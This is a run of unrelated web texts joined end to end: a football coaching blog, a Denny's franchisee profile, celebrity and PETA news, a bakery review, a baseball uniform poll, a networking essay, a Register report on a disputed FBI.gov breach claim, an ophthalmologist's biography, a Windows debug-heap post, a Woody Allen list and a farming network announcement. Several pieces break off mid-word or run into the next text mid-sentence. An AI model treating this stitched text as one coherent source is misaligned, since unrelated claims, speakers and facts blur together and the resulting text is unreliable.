This is the thing. Last summer, he was definitely attainable for a club our size. Now though, I have a feeling he might be lined up by his mentor Klopp to take over at Dortmund, if Jurgen decides to move on. I’ll put it this way, it would be a big step up form Mainz and worth a shot.
Rather than waxing lyrical about him until questions are asked and my missus starts to really worry, I will simply advise you read up on him and watch Mainz whenever you get the chance before the end of the season. To have them competing for Europe consistently is remarkable.
As for their budget, it’s not a blip on our radar. He’s spent half of what Pardew has in same amount of time and lost three times the amount of big names each year. Again, par for the course to a continental coach. His system, training, off pitch techniques, etc, show why it doesn’t matter.
As I said, sadly I think he has become that little bit too well known in certain circles for us to pinch him without competition, but it wouldn’t be impossible. One of those that simply depends on how much we go for it. As good as a young coach gets in my opinion.
Christophe Galtier
Another Ligue 1 coach, so limited knowledge once again, but judging from those more educated on the French football landscape, Galtier seems to be rated as a potential Tuchel. He is having a brilliant season with Saint Et |
franchise owners in America. In 2014, Dawn celebrated her 30 year anniversary in the franchise business. Today she owns 76 Denny's located across Texas, Missouri, Kansas, Illinois, Arkansas, and Oklahoma. Her company, Den-Tex, Inc., brings in an estimated $85 million dollars in revenue.
Dawn Lafreeda has been a trailblazer in an industry without much female representation. This hit home especially hard when several years ago, she was contacted by Denny's corporate office because a group was looking for a female speaker for a program they were trying to organize. They only had men on their slate of speakers and got in touch with a number of franchise chain headquarters to find a female multi-location, multi state owner. There were not a lot of women in this position.
Today Dawn cites Denny's value as a major reason for her success. With their $2, $4 $6, $8 strategy, it ensures that even if a customer only has $2 to spend, he or she can get a good meal. The company has been in business for more than 60 years and has weathered challenging economic times. Where other restaurants were closing their doors, LaFreeda expanded during the recession. While other chains were getting hammered by a sour economy, she opened 10 Denny's restaurants in 2010 and 14 in 2011.
Lafreeda runs a 24 hour a day business, meaning she is nearly always on duty. She works six days a week, but is pretty much working 24/7/365. As crazy as it sounds, whenever Dawn travels, she eats almost exclusively at Denny's. Also, whereas most highly successful franchise owners usually end up diversify across several different restaurant brands, Lafreeda has remained loyal to the restaurant that believed in her when all the way back to when she was hired with no experience as a 16 year old hostess.
Not many people take their first job and turn it into a hugely successful conglomerate. But that is just what Dawn Lafreeda has done. In fact, she is not just the largest female franchise owner in the Denny's organization; she is the largest owner overall!Dunham and Jenni Konner defended Murray Miller after he was accused by actress Aurora Perrineau of sexually assault, only to apologize for the statement a day later.
Judd Apatow was an early champion of Lena Dunham, helping her and Jenni Konner develop Girls for HBO. And now he's standing by Dunham and Konner again.
The women recently stepped into propeller blades by defending Girls writer Murray Miller after he was accused by actress Aurora Perrineau of sexual assault, claiming that the charges were among the "three percent of assault cases that are misreported every year," only to apologize for the statement a day later ("We regret this decision with every fiber of our being").
“Lena is the greatest person I have ever met. She fights so hard for so many important causes. She really sticks her neck out. She cares about people. She started this amazing Lenny newsletter, which has created a platform for all sorts of different women to speak and be heard," Apatow told THR on Dec. 3 at ACLU of Southern California's annual Bill of Rights dinner. "We’re all kind of trying to figure out how to navigate this best. It affects all of our lives and touches all of our lives in all different ways. She apologized for speaking too quickly, but I think many of us are in that situation. And I think overall she is one of the great people in our business fighting for very important causes. And I appreciate that.”
A version of this story first appeared in the Dec. 6 issue of The Hollywood Reporter magazine. To receive the magazine, click here to subscribe.He is the first pope to take the name of St. Francis of Assisi, patron saint of all animals, who said, “Not to hurt our humble brethren is our first duty to them, but to stop there is not enough. We have a higher mission—to be of service to them wherever they require it.” And he is also the first religious leader to be picked as PETA’s Person of the Year, a title previously held by Bill Clinton, Oprah Winfrey, and Ricky Gervais. Pope Francis was chosen for asking the world’s 1.2 billion Roman Catholics and all citizens of the world to reject human domination over God’s creation, treat animals with kindness, and respect the environment—something PETA views as a call to turn toward a simple, plant-based diet, given the now well-established role of animal agriculture in climate change.
In his 2015 encyclical, Laudato Si’, His Holiness talked of the importance of treating animals with kindness, writing, “Every act of cruelty towards any creature is ‘contrary to human dignity'” and “We are not God. … [W]e must forcefully reject the notion that our being created in God’s image and given dominion over the earth justifies absolute domination over other creatures.”
Pope Francis is also known for his focus on environmental stewardship, and according to the United Nations, a global shift toward vegan eating is necessary in order to slow the most dangerous effects of climate change, including the extinction of wildlife.
As the pontiff said, “If we approach nature and the environment without this openness to awe and wonder, if we no longer speak the language of fraternity and beauty in our relationship with the world, our attitude will be that of masters, consumers, ruthless exploiters, unable to set limits on their immediate needs. By contrast, if we feel intimately united with all that exists, then sobriety and care will well up spontaneously.”
Amen to that.Located just southeast of downtown Grand Rapids is a delightful third place full of sweet and tasty treats that first opened in 2002. The Wealthy Street Bakery was one of the first places Alison took me in Grand Rapids after we met and it remains one of our favorite local hangouts for a quick snack, hearty lunch, or for yummy treats like scones, Danish pastries, and muffins.
A delightful aromatic blend of coffee and baked goods permeates the bakery upon entering. Its eclectic atmosphere, hardwood floors, and charming 1930s era grocery store location will warm your heart. Anyone who appreciates historic preservation and adaptive reuse of old buildings will enjoy the sights and sounds of the bakery in addition to its fine food offerings.
Next time you are in Grand Rapids, consider taking a trip to the Wealthy Street Bakery – the experience will be enriching.
AdvertisementsWhere is the Rally Squirrel when you really need him?
The polls have closed, our Battle of the Uniforms is officially over and the No. 1-seeded St. Louis Cardinals wound up suffering their toughest defeat since at least the final three games of last season's National League Championship Series -- and perhaps as far back as the 1985 World Series. Cardinals fans can't blame this one on a bad call by Don Denkinger, either. The Baltimore Orioles decisively beat the Cardinals in the championship round -- also known as the Battle of the Birds -- receiving 59 percent of vote compared to 41 percent for the Cardinals.
St. Louis fans must be getting really tired of losing to teams with orange-and-black uniforms.
The Cardinals weren't the only high seed to disappoint, though. All the most famous classic uniforms -- the Yankees' pinstripes, the Dodgers' blue, the Tigers' Old English D, the two Cardinals balanced on a bat -- fell short in the end, while the lesser-heralded Orioles go home the winners.
Which is not to say the Orioles are undeserving champions. Far from it.
Baltimore's uniform has some great style features, beginning with those wonderful orange and black colors (always an outstanding look) and extending to the great cartoon Oriole logo on the cap (much preferable to the ornithologically correct version). It's a classic uniform that looked great on Brooks Robinson, Frank Robinson and Jim Palmer, and it still looks great on Adam Jones, Matt Wieters and Chris Davis.
On the other hand can we talk about those home caps with the white-panel front?
This is a design style from the fashion-challenged late '70s and early '80s, and it still looks just as bad as it did then. Manager Buck Showalter famously griped about Ken Griffey Jr. wearing his cap backward in the '90s (those darn kids today!), but he could improve his team's look by loosening up and ordering all his players to wear their cap backward.
Apparently, though, our voters either like that cap style or love the rest of the uniform so much that they overlooked it. Despite being seeded 13th because of those caps, the Orioles beat higher-ranked uniforms in every round on their way to the championship.
Not even Jeffrey Maier could have slowed Baltimore's run.
And, hey, maybe the Orioles could wear their new crown instead of that cap. And if not, well, at least the rest of the uniform is outstanding.
So, congratulations, Baltimore fans. Our fashion police have declared your team the best-dressed in baseball. Here's hoping the Orioles are also baseball's best-dressed team come October and the postseason.
--Jim Caple
Battle of the Uniforms: Championship
(1) Cardinals vs. (13) Orioles Audubon would have loved this championship.
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Battle of the Uniforms seedingsEarlier this month, I wrote that breakout opportunities are what transform your career. Opportunities do not float like clouds. They are firmly attached to individuals. If you’re looking for an opportunity, you’re really looking for people. If you’re evaluating an opportunity, you’re really evaluating people. If you’re trying to marshal resources to go after an opportunity, you’re really trying to enlist the support and involvement of other people. A company doesn’t offer you a job, people do. Opportunities flow through congregations of people. Those with good ideas and information tend to hang out with one another. You will get ahead if you can tap the circles that dish the best opportunities. In fact, it’s how people have gotten ahead for centuries.
Roll the clock back more than two hundred years. In 1765 Joseph Priestley, a young amateur scientist and minister, was running experiments in his makeshift laboratory in the English countryside. He was exceptionally bright but isolated from any peers, until one December day when he traveled into London to attend the Club of Honest Whigs. The brainchild of Benjamin Franklin, the club was like an eighteenth-century version of the networking groups that exist today. Franklin, who was in England promoting the interests of the American colonies, convened his big-thinking friends at the London Coffee House on alternating Thursdays. Their conversations on science, theology, politics, and other topics of the day were freewheeling and reflected the coffeehouse setting. Priestley attended to get feedback on a book idea about scientists’ progress on understanding electricity. He got much more than feedback. Franklin and his friends swelled in support of Priestley: they offered to open their private scientific libraries to him. They offered to review drafts of his manuscript. They offered their friendship and encouragement. Crucially, Priestley reciprocated all the way: he was committed to circulating his ideas and discoveries through his social network, thereby strengthening the interpersonal bonds, refining the ideas themselves, and increasing the likelihood that his new connections would help him exploit whatever opportunities were found. In short, Priestley’s night at the coffeehouse dramatically altered the trajectory of his career. According to author Steven Johnson in his book The Invention of Air, Priestley went from semi-isolation to plugging into “an existing network of relationships and collaborations that the coffeehouse environment facilitated.” He went on to have an illustrious scientific and writing career, famously discovering the existence of oxygen. The London Coffee House went on to become “a central hub of innovation in British society.”
It wasn’t Franklin’s first time rounding up friends for regular discussion. Forty years earlier, he had convinced twelve of his “most ingenious” friends (as he referred to them in his autobiography) in Philadelphia to form a club dedicated to mutual improvement. Meeting one night a week, these young men recommended books, ideas, and contacts to one another. They fostered self-improvement through discussions on philosophy, morals, economics, and politics. They called the club the Junto (“hoon-toe”). The Junto became a private forum for brainstorming and a surreptitious instrument for leading public opinion. The group generated a bounty of ideas, such as the first public library, volunteer fire departments, the first public hospital, police departments, and paved streets. They also collaborated to execute on opportunities. For example, one idea that emerged from the Junto was the need for a liberal arts higher education that would blend study of the classics with practical knowledge. Franklin teamed up with fellow Junto member William Coleman and several others to start what is now the University of Pennsylvania. It was the first multidisciplinary university in America.
Benjamin Franklin is often remembered as driven, self-educated, and endlessly inventive—a quintessential entrepreneur. But what we find most entrepreneurial about Franklin has less to do with his personal talents and traits and more to do with how he facilitated the talents of others. Franklin believed that if he brought together a bunch of smart people in a relaxed atmosphere and let the conversation flow, good opportunities would emerge. He set in motion a trend that the French writer Alexis de Tocqueville noted in Democracy in America, his 1835 classic assessment of the young United States: nothing was as distinctive about America as its people’s proclivity to form associations around interests, causes, and values.
By the early 1900s, human networks were booming. At his death, J. P. Morgan—one of the most entrepreneurial businessmen of his time—belonged to nearly twenty-four different associations. A Chicago attorney named Paul Harris may not be as famous as Morgan, but his impact is arguably comparable. In search of more clients for his law practice and a cure for his loneliness, he brought together a group of local businesspeople who could help one another in their careers and enjoy one another’s fellowship. They called their group Rotary because the location of their weekly meeting rotated among the members. As the club grew in size, to maintain informality, they fined members who addressed other members by anything but their first name. No surnames or titles or “Mister” allowed. Today, there are more than 1.2 million remarkably engaged members in 30,000 Rotary clubs around the world.
Small, informal networks are still uniquely efficient at circulating ideas. It’s why we still have local PTAs and alumni groups from schools. Book groups. Beekeeping clubs. Conferences and industry meetings. If you want to increase your opportunity flow, join and participate in as many of these groups and associations as possible. If you don’t know where to start, go to www.meetup.com. Meetup helps ninety thousand interest groups in forty-five thousand cities organize events to bring like-minded people together. Scott Heiferman, Meetup’s CEO, says, “DIY is becoming DIO: do it ourselves. More people are turning to each other to make things happen.” This is IWe in action.
There are plenty of networks at your fingertips where you are already an insider—you just have to be a little creative. Think about alumni groups. Sure, high school and college alumni associations are indeed good sources of opportunities. But you’re also an alumnus from organizations you’ve worked at in the past.
My membership in a notable corporate alumni group in Silicon Valley has opened the door to a number of breakout opportunities. After eBay acquired PayPal, the members of the PayPal executive team each moved on to new projects but stayed connected, investing in one another’s companies, hiring one another, sharing office space, and the like. There are no membership dues, no secret handshakes, no monthly meetings; just informal collaboration. Yet these connections have spawned some of the most successful projects in Silicon Valley. As a result, the group got the name “the PayPal mafia.”
What is it about this network that makes it such a uniquely rich source of opportunities?
First, each individual is high-quality. This is fundamental: A group is only as good as its members. The network is only as good as its nodes. Evaluate a group by evaluating the individual people.
Second, the gang has something in common—the shared experience of PayPal, and the interests and values that led everyone there. Shared experiences lead to trust, which leads to people’s sharing information and opportunities. All opportunity-rich networks have a common denominator. Conference attendees are all interested in the topic of the conference; a congregation at a church shares a faith; Franklin’s Junto members were all intellectually curious.
Third, there’s geographic density. Collaboration happens best when information and ideas can bounce quickly to and from all the interested parties, ideally in the same physical place. That’s why Franklin assembled a small group of friends in a single room in Philadelphia and a single coffeehouse in London. It’s why Rotary Clubs were initially capped at twelve members.
Fourth, there’s a strong ethos of sharing and cooperation. For a network to be valuable, everyone has got to want to invest in that network by pushing information and ideas through it.
One of the biggest opportunities of my career was the chance to start LinkedIn in 2003. A mere five months after eBay acquired PayPal, I had assembled a team of six people working full-time in an office. I was able to get the business off the ground so quickly because I had a network of friends to serve as cofounders, early employees, and investors. I asked two former colleagues from Socialnet, a former college classmate, and a former colleague from Fujitsu to cofound the company with me. Peter Thiel and Keith Rabois from the PayPal mafia and a few others invested in the business. A former colleague from PayPal even provided LinkedIn’s first office space. An appropriate founding for a business with the tagline "Relationships Matter."
To recap some of the qualities of the PayPal mafia: high-quality people, a common bond, an ethos of sharing and cooperation, concentrated in a region and industry. These make it rich in opportunity flow, and the same factors make any network and association worth your while.
Finally, the only thing better than joining groups is starting your own. Start your own mafia—your own group, meetup, or association with PayPal mafia characteristics. A laid-back atmosphere encourages candor, intellectual risk taking, and ultimately leads to the generation of better and more interesting ideas. It doesn’t even have to be a regular thing. Organizing a Saturday brunch with a dozen ex-coworkers from your previous company only offers upside. And don’t forget, when you are the creator and central node of a group, it’s like having a courtside seat at a basketball game: you won’t miss a thing.
Steven Johnson says, “Chance favors the connected mind.” Connect your mind to as many networks as did Benjamin Franklin, Joseph Priestley, J. P. Morgan, and others, and you’ll be one step closer to spotting and seizing those game-changing opportunities that great careers are made of.
Learn more about winning career strategy in my book with Ben Casnocha titled The Start-Up of You: Adapt to the Future, Invest in Yourself, and Transform Your Career.Updated A hacker is claiming to have breached the FBI's website security, dumping staffers' email addresses and SHA1-scrambled password hashes with salts online. Meanwhile, the makers of the site's publishing software say it's all a hoax.
A miscreant using the handle @cyberzeist claims to have infiltrated Plone CMS used by FBI.gov, using a zero day flaw allegedly for sale on an unnamed dark web site.
The Register has contacted the FBI to confirm the allegations. The agency was not immediately available for comment – although a staffer said they were aware of the alleged break-in.
Cyberzeist claims to have conducted the hack last month and has posted to Twitter what they claim are screen captures showing the FBI patching against the vulnerability, which appeared to permit public access.
The hacker dumped the 155 purported stolen credentials to online clipboard pastebin, claiming a vulnerability resides in a Plone Python module. They said the websites of the European Union Agency for Network and Information Security and the National Intellectual Property Rights Coordination Center are also vulnerable.
Cyberzeist also claimed the FBI contacted the hacker requesting a copy of the stolen credentials, which they declined to provide.
The hacker reckoned the CMS was hosted on a virtual machine running a custom FreeBSD. They said they will tweet the zero day flaw once it is no longer for sale.
The FBI is a confirmed user of the Plone CMS, as is Amnesty International.
The latter organisation acknowledged a warning from Cyberzeist that its CMS was exposed.
The hacker claimed the FBI's site was offline on New Year's Eve, but none of the dozen WayBackMachine site captures of the FBI's homepage on 31 December and 1 January indicated it was unavailable. ®
Updated to add at 11.49 GMT, January 5
Plone's security team has been in touch since the publication of this article with this statement: "Some users on Twitter are circulating rumours about about a zero day vulnerability in Plone being used to attack the FBI.
"The Plone Security Team believes that these claims are a hoax. As Plone is open source software, it is easy to fake a screenshot showing Plone’s code. Causing source code to be leaked to the end user is a common form of attack against PHP applications, but as Python applications don’t use the cgi-bin model of execution it has never been a marker of an attack against a Python site.
"The hashes [the 'hacker'] claims to have released have several warning signs that point to them being fake. Firstly, the email addresses used match other FBI emails that have been harvested over the years that are publicly available. The password hashes and salts he claims to have found are not consistent with values generated by Plone, indicating they were bulk generated elsewhere."Balamurali Krishna "Bala" Ambati (born July 29, 1977)[1][2] is an American ophthalmologist, educator, and researcher. On May 19, 1995, he entered the Guinness Book of World Records as the world's youngest doctor, at the age of 17 years, 294 days old.[3][4]
Biography [ edit ]
Ambati was born in Vellore, Tamil Nadu in southern India.[1][5] His family moved to Buffalo, New York when he was three.[1][5] According to his parents,[6] Ambati was doing calculus at the age of 4.[5] The family later moved to Orangeburg, South Carolina, and then to Baltimore, Maryland.[1] Ambati initially attended high school at Baltimore Polytechnic Institute before transferring to Baltimore City College,[7] graduating in 1989 at age 11.[1][8][9] Also at age 11, he co-authored a research book on HIV/AIDS titled AIDS: The True Story−A Comprehensive Guide.[10] He graduated from New York University at the age of 13. He graduated from Mount Sinai School of Medicine with distinction at the age of 17,[8][9] scoring above 99 percent on his National Medical Boards[9] and becoming the world's youngest doctor in 1995.[2][9]
Ambati expressed that he disliked being compared to Doogie Howser, the fictional teenage doctor.[11] Ambati described himself as being popular with people and, standing 6 feet tall, did not appear too young for a career in medicine[11]—when he entered medical school at 14 years old, some assumed that he was one of the regular medical students.[12]
He completed an ophthalmology residency at Harvard University, where he developed strategies to reverse corneal angiogenesis[13] after becoming a winner at the Westinghouse Science Talent Search and the International Science & Engineering Fair and becoming a National Merit Scholar.[citation needed] He received the prestigious Raja-Lakshmi Award in 1995 from Sri Raja-Lakshmi Foundation, Chennai.
After completing a fellowship in cornea and refractive surgery at Duke University in 2002, he joined the faculty of the Medical College of Georgia, where he practiced clinical ophthalmology and conducted research in such areas as corneal angiogenesis and outcomes of corneal and refractive surgery.
He also volunteers with the ORBIS Flying Eye Hospital, traveling to under-privileged countries to practice and teach ophthalmic surgery.[7][14] In 2008, he earned a PhD in Cell Biology from the Medical College of Georgia.[15] In 2011, Ambati donated a kidney to a 16-year-old boy from Idaho.[7][16]
From 2008 to 2016, Ambati worked at the Moran Eye Center and served as professor of ophthalmology and visual sciences, adjunct associate professor of neurobiology and anatomy, and director of corneal research at the University of Utah School of Medicine.[15][17] As of 2017, he practices in Eugene, Oregon at Pacific Clear Vision Institute and in Ketchum, Idaho.[15][17][18]
Family [ edit ]
Ambati's father was an industrial engineer, while his mother was a math teacher.[1]
Balamurali wrote a book on AIDS at age 11 with his brother Jayakrishna, who is also a physician.[5][8][10]
Awards [ edit ]
He won the Ludwig von Sallmann Clinician-Scientist Award from the ARVO Foundation in 2014[19] and the Troutman-Véronneau Prize from the Pan-American Association of Ophthalmology in 2013.[20] He was also awarded the Fourth IRDS Awards for Medicine for his achievements, awarded by the Lucknow-based Institute for Research and Documentation in Social Sciences (IRDS).[21]
See also [ edit ](A more appropriate but even-less-catchy title might have been ‘accelerating runs from the debugger‘. As elaborated below, these two are not strictly equal).
A common notion is that debug builds can and should carry as much debugging overhead as one can possibly scram in – after all, the point in debug builds is exactly this, debug, and you should never care about their performance. After too many cases of slow-to-the-extent-of-utterly-unworkable builds, I respectfully disagree. In this and the next post, a few techniques to make debug builds run faster are laid out.
Introducing the Windows Debug Heap
As many, many, have already discovered – the WDH is a big deal as far as performance goes, and yet MSDN is unusually terse about it. The HeapSetInformation page says:
When a process is run under any debugger, certain heap debug options are automatically enabled for all heaps in the process. These heap debug options prevent the use of the LFH. To enable the low-fragmentation heap when running under a debugger, set the _NO_DEBUG_HEAP environment variable to 1.
And in some arcane corner of the WinDBG documentation:
Processes that the debugger creates (also known as spawned processes) behave slightly differently than processes that the debugger does not create. Instead of using the standard heap API, processes that the debugger creates use a special debug heap. You can force a spawned process to use the standard heap instead of the debug heap by using the _NO_DEBUG_HEAP environment variable or the -hd command-line option.
(While the latter was written for windbg, everything except the –hd switch holds equally for VS).
What are these ‘certain heap debug options’? What is the price in performance? Can the WDH be avoided altogether? Stay tuned.
Creating and Avoiding the WDH
The debugger itself calls IDebugClient5::CreateProcess2 which creates a debuggee process with WDH by default. The WDH creation can be bypassed by specifying DEBUG_CREATE_PROCESS_NO_DEBUG_HEAP in the options argument, and the MS debuggers do exactly that when the aforementioned environment variable _NO_DEBUG_HEAP exists and is set to 1.
( I suspect the underlying appartus is that CreateProcess with the DEBUG_PROCESS flag causes windows to check the environment variable _NO_DEBUG_HEAP and decide which process heaps to create, but I didn’t verify).
You can set this environment variable either globally for the machine (as I do) or in a specific debug session via the project properties:
What the WDH Does
The only documented effect is disabling the LFH – which makes sense, as these are mutually exclusive heap layouts. You do lose some speedups by dropping the LFH but by and large this is a negligible factor compared to the others.
2. On every allocation the memory manager initializes every allocated DWORD to 0xbaadfood, and on every deallocation sets the memory to 0xfeeefeee – in addition to some bookkeeping just after the allocated chunk. Here’s the normal view:
And here’s the view with _NO_DEBUG_HEAP=1:
These magic numbers can help in some debugging scenarios – use of uninitialized heap memory, and usage after free – but truth be told, they rarely do. Here are some more details. Most of the extra time, however, is not spent there.
3. On every memory operation, the WDH walks the heap and checks for integrity! To observe, add some corruption:
And run:
Now run again with _NO_DEBUG_HEAP set to 1 – and watch the assertion vanish.
Err, this stuff actually sounds useful. Sure I should disable it?
For regular C++ applications – beyond a doubt, yes.
the CRT delivers identical functionality, on top of the windows debug heap, with different magic numbers: 0xcdcdcdcd for fresh allocations and 0xdddddddd for freed memory. If you leave the WDH on you’re initializing memory chunks twice – and worse, checking heap integrity – for each allocation. In regular development scenarios WDH is just empty, very expensive overhead.
By ‘regular’ C++ programs I mean those that don’t do anything fancy with the heap and just stick to the built in CRT heap. You can overload new/delete, as long as your overloads eventually call the shipped new/debug/malloc/free, or some dbg/aligned siblings.
One potential argument in favour of leaving the WDH on is that unlike the CRT debug heap the WDH is operational in release builds also, but (1) it is disabled for any launch outside a debugger anyway, (2) in the extremely unlikely case that you’d require memory integrity checks but don’t want to run a debug build, I would suggest just editing your debug configurations to include optimizations. (add /O2).
Oh, and in our applications setting _NO_DEBUG_HEAP=1 accelerated some runs by a factor of 10. Nough said.
Edit (Oct 6 2014):
Remarkably, 3 weeks after initially publishing this post it seems the VC team themselves agree. Beginning with VS “14”, the WDH will be opt-in, not opt-out – as it ought to be.
AdvertisementsWith Woody Allen’s new movie Blue Jasmine hitting screens this weekend, several outlets have taken the opportunity to rank Allen’s extensive filmography. Your film editor was planning to do the same (and I’d have gotten away with it too, if it weren’t for you meddling kids) — particularly since I’m revisiting the entire Allen oeuvre for my new book on his films, due next year from Voyageur Press. But instead of taking on that job (which, lets face it, usually ends up with some cluster of Annie Hall, Manhattan, Purple Rose of Cairo, and Crimes and Misdemeanors at the top anyway), let’s take a look at some of Allen’s less-recognized works.
Because he’s directed so damn many films (46 and counting), you can chunk them out fairly easily: the recognized classics (see above), the ones that were received with hostility or indifference at the time but have come to be recognized as classics (Stardust Memories and Deconstructing Harry leap to mind), the “early, funny ones” (Take the Money and Run, Sleeper, Bananas, etc.), and, sorry, the bad ones (You Will Meet a Tall Dark Stranger, The Curse of the Jade Scorpion, September). Our interest here is the ones that fall in between: not necessarily his best stuff, but better than their reputations, worthy of consideration and viewing, particularly if you’re ready to move past the obvious choices. Some suggestions:
Shadows and Fog
This 1992 film marked the end of his fruitful relationship with Orion Pictures, which filed for bankruptcy right around the time of its release, and was thus unable to do much for it in the way of promotion. The timing was unfortunate: the $14 million production was one of Woody’s most elaborate, including the construction of a giant set (the largest ever built in New York, he said) at the Astoria studios in Queens. The picture, based on his early one-act play Death, is a bit uneven. But it’s one of his most stylish and beautiful films, the gorgeous black-and-white photography and German Expressionist-inspired composition combining to make it one of his most unique efforts.
Hollywood Ending
In several interviews since its release, Allen — a notoriously self-critical sort who claimed he was so unhappy with Manhattan that he offered to make another movie for free if United Artists would bury it — has expressed his surprise and frustration that this 2002 celluloid satire failed to find an audience, or much support among critics. It’s not quite as good as he thinks, but it’s also a much better film than its 47% Tomatometer rating would indicate; the premise is juicy, Allen’s timing is as sharp as ever, and Tea Leoni (in the female lead) has the comic chops of a great Allen leading lady.
Anything Else
“The Jason Biggs one,” Quentin Tarantino said, just to be certain we weren’t all misunderstanding his choice of this mostly forgotten 2003 Allen rom-com as one of his favorite films of the past 20 years. Tarantino can be a bit of a movie hipster when it comes to stuff like this, but his love for Anything Else is genuine, and understandable: Biggs and Christina Ricci, as a young comedy writer and the more-than-a-little-crazy girl he’s in love with, create a convincing Annie Hall Jr. dynamic, while Allen himself — moving, thankfully, into the crusty old guy roles that he waited a bit too long to take on — uses the freedom of taking on a supporting role to take his persona into some uncharted territory.
Don’t Drink the Water
Allen’s first Broadway play, Don’t Drink the Water, was first made into a movie back in 1969, with Jackie Gleason in the leading role. Allen, who was working on Take the Money and Run, (correctly) deemed the results “abysmal.” So when he had the chance to do a made-for-TV movie in 1994, he realized he had aged into the role of the cantankerous father — so he dusted it off, cast himself, Julie Kavner, Michael J. Fox, and Mayim Bialik in the leading roles, and went to work. Appearing on TV screens shortly after the triumphant theatrical release of Bullets Over Broadway, Water gets pretty short shrift these days (mostly due to its TV pedigree). But it’s a wonderful slice of early Woody redux, and Michael J. Fox is an excellent Allen surrogate.
Another Woman
By the time this one came out in 1988, much of the moviegoing public had about had it with Woody’s attempts to do straight-faced drama. He’d lost some of them when he followed up Annie Hall with the somber Interiors (though the conventional wisdom has come around on that one in the years since), and nobody was wild about the bone-dry September, which he’d put out only a year before. As a result, Another Woman was mostly dismissed, and it still remains one of his most under-seen films — a shame, since it sees Allen finally finding a workable fusion of his own style and the foreign cinema that he’s so enamored of. With the welcome acceptance of recent straight-faced efforts like Match Point and Blue Jasmine, this one’s due for a serious reappraisal.
A Midsummer Night’s Sex Comedy
Woody’s first film after Stardust Memories seemed almost a conscious attempt to make something that wouldn’t rock the boat — an instinct you can’t blame him for, since that stylized picture’s portrait of a frustrated filmmaker whose self-loathing is only matched by his contempt for his fans was widely interpreted as autobiographical. Midsummer Night’s Sex Comedy is minor Allen, in a muted key. But that’s deliberate, and its lyrical charm and country setting make it something of an anomaly in his filmography. Plus, it’s the first film in his decade-long collaboration with Mia Farrow, and that’s gotta count for something.
Everything You Always Wanted to Know About Sex* (*But Were Afraid to Ask)
Allen has often made clear his displeasure with this 1972 “adaptation” of the bestselling sex manual, and to be sure, its blackout-sketch structure makes for a wildly uneven and intermittently funny viewing experience. But when it hits, it really hits: Gene Wilder’s segment, about a doctor who has an affair with a sheep, has a wonderfully solemn quality that (along with his pitch-perfect performance) makes the gag work, while a segment satirizing mod Italian filmmaking allowed Allen one of his first opportunities to go beyond merely looking down the barrel of a joke. And its most famous segment remains a hoot: a sci-fi-style peek at the “control room” of a young guy looking to score on a first date, complete with mission control, an erection-creating boiler room, and paratrooper sperm. (Mission control: “I don’t know if we’re gonna make it or not, doesn’t look too good.” The Girl: “I’m a graduate of New York University.” Mission control: “We’re gonna make it!”)
What’s Up, Tiger Lily?
If Everything is lightweight, Allen’s first movie, What’s Up Tiger Lily?, is basically an evaporation. The premise is simple: Woody was handed a ridiculous Japanese Bond rip-off, and he and his comedy pals (including Bananas co-writer Mickey Rose and his then-wife Louise Lasser) redubbed it with a ridiculous new dialogue track centered on the theft of the world’s greatest egg salad recipe. It’s as silly as it sounds, and runs out of gas about an hour in (Allen’s cut, when coincidentally ran about that long, was expanded by the producer without his blessing). But holy hell is it funny — as well as an obvious forerunner for Mystery Science Theater 3000 and the whole movie-riffing movement.
Melinda and Melinda
Most critics dismissed this 2004 comedy/drama as a failed attempt to recapture the brilliance of Crimes and Misdemeanors, and they’re superficially similar: two stories told simultaneously, one comic and one dramatic. Sure, it’s not as successful, but it works in a different way: contrary to Crimes, the comic story is the more compelling one here, with Will Ferrell engaging and adept in the “Woody surrogate” role, nicely mixing his own goofy mannerisms with the specific, studied timing necessary to pull off Allen’s punch lines.
Men of Crisis: |
, you're not witnessing William Wallace's latter-day disembowelment, it's the Coach out there doing what he does best!Of interest:25 April BJJ seminar in Cleveland OH1 May BW cert in Long Island NYI hope to see you there!In Strength & Health,SteveEveryone who works with farmers knows that they experiment – some irrepressibly. Research into innovation systems tells us this matters – that it is where some of the best ideas in farming come from.
Yet farmers do this with remarkably little support. Academic knowledge about trial design and interpretation can seem like a parallel universe, where the standards of evidence, protocols and research budgets are all equally outlandish. Indeed, to farmers, it sometimes feels like formal research comes too much and too late.
That’s why, this week, we launched Innovative Farmers (www.innovativefarmers.org), bringing progressive farmers from across the industry together with some of Britain’s most respected agricultural research teams.
The network offers research support and funding to farmer groups on their own terms and at their initiative. It recognises that farmers innovate, and helps them do it even better.
It builds on three years of experience running the Duchy Future Farming Programme, in which we have run practical ‘field labs’ on 35 topics, involving more than 750 farmers around the country. We adapted participatory methods of learning, R&D and co-design pioneered in international development, guided by a steering group of scientists and farmers chaired by Prof. Charles Godfray.
Innovative Farmers boosts this with new farming industry and research partners, extra funding and a web portal, where the farmers and researchers involved can track and share their progress.
To join as research partners, institutions commit in principle to some of their researchers providing at least 24 hours of in-kind support per year to a farmer group where we can find a match. This is enough to help with a basic field lab – usually a simple trial – covering a bit of desk research, a couple of site visits and some simple analysis.
The most crucial role for the researcher is to help the farmers understand how the methodological choices they make will affect the confidence they can have in their findings. How much will they want to rely on it? What kind of protocol and time input can they really commit to?
What’s in it for the researchers and their institutions? First, access to funding. Over the next five years we plan to give out more than £800,000 in small grants, only available to researchers we’ve matched with a farmer group. At £10,000 per project, the funding may seem peanuts by research standards, but easy-access support for this kind of practical work with farmers is hard to come by.
Second, the researchers get a structured, monitored and cost-effective pathway to impact. By asking a small number of questions of every participating farmer at regular intervals, we’re able to provide them and the research partners with insight into farmers’ priorities, and quantified reports on what they are learning and the reported impact. In time, we’ll even be able to benchmark across the network. This could boost research applications, enhance early-career CVs and, in the right circumstances, even contribute to the REF.
We’ve set out the benefits from researchers at https://innovativefarmers.org/get-involved/benefits-for-researchers/. The universities involved so far are Bristol, Exeter, Coventry, Reading, Harper Adams and Aberystwyth, alongside specialist agricultural institutes such as Rothamsted. If you’re interested in joining them, please get in touch by calling 0117 987 4572 or sending an email to [email protected].
Dr Tom MacMillan, Innovation Director, Soil Association
Innovative Farmers is part of the Duchy Future Farming Programme, funded by the Prince of Wales’s Charitable Foundation. The network is backed by a team from LEAF (Linking Environment and Farming), Innovation for Agriculture, the Organic Research Centre and the Soil Association, and supported by Waitrose.It was great fun seeing some old friends back in Buffalo this past week. Having Mighty Taco. Reminiscing. Or, in Lauren’s case, trying not to reminisce. She thinks I reminisce too much. I reminisce too much.
